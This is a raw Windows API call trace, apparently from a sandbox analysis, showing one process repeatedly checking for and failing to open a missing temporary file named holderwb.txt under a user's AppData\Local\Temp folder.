	[0099.368] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.368] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.369] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.369] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.369] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.369] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.370] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.370] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.370] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.370] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.371] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.371] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.371] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.371] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.427] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.427] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.427] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.427] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.427] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.428] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.428] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.428] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.428] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.429] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.429] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.429] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.429] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.429] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.429] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.429] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.429] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.430] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.430] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.430] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.430] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.430] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.430] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.430] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.430] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.431] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.431] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.431] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.431] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.431] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.431] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.431] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.431] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.431] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.432] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.432] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.432] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.432] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.432] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.432] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.432] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.433] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.433] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.433] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.434] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.434] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.434] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.434] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.434] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.434] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.434] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.434] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.434] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.434] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.435] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.435] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.435] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.435] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.435] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.435] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.435] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.435] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.435] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.435] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.435] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.436] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.436] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.436] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.436] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.436] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.436] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.436] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.436] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.437] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.437] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.437] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.437] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.437] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.437] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.438] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.438] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.438] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.438] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.438] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.438] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.438] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.438] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.439] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.439] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.439] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.439] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.439] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.439] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
